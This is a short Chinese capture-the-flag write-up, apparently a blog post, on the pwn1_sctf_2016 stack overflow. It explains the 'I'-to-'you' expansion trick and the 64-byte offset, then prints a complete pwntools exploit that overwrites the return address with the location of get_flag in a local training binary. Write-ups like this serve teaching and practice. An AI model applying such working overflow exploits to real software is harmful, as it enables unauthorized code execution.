本文详细分析了pwn1_sctf_2016挑战中的栈溢出漏洞，通过ida静态分析发现get_flag()函数。由于栈不可执行，需要利用溢出执行get_flag。经过调试，确定溢出大小为64字节，通过输入20个'I'和4个'A'的数据配合返回地址，成功触发漏洞。最终提供了一份完整Python利用代码，展示了漏洞利用过程。
题目分析
仅仅栈不可执行
放入ida，发现漏洞函数，并发现后门get_flag()函数，因此该题就是通过栈溢出执行get_flag,分析溢出字符大小：
fget函数限制输入32位，但s存在60位空间，因此不能直接进行溢出
但后面分析下面程序会将输入的"I"换成"you"
先动态调试查看要溢出的总大小
溢出大小0x138-0x0fc + 4 = 64
因此输入20个I,在输入4个垃圾数据即可
完整代码
from pwn import *
io = process("./pwn1_sctf_2016")
flag_addr = 0x08048F0D
payload = b'I'*20+b'A'*4+ p32(flag_addr)
io.send(payload)
io.interactive()
扫一扫
679
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
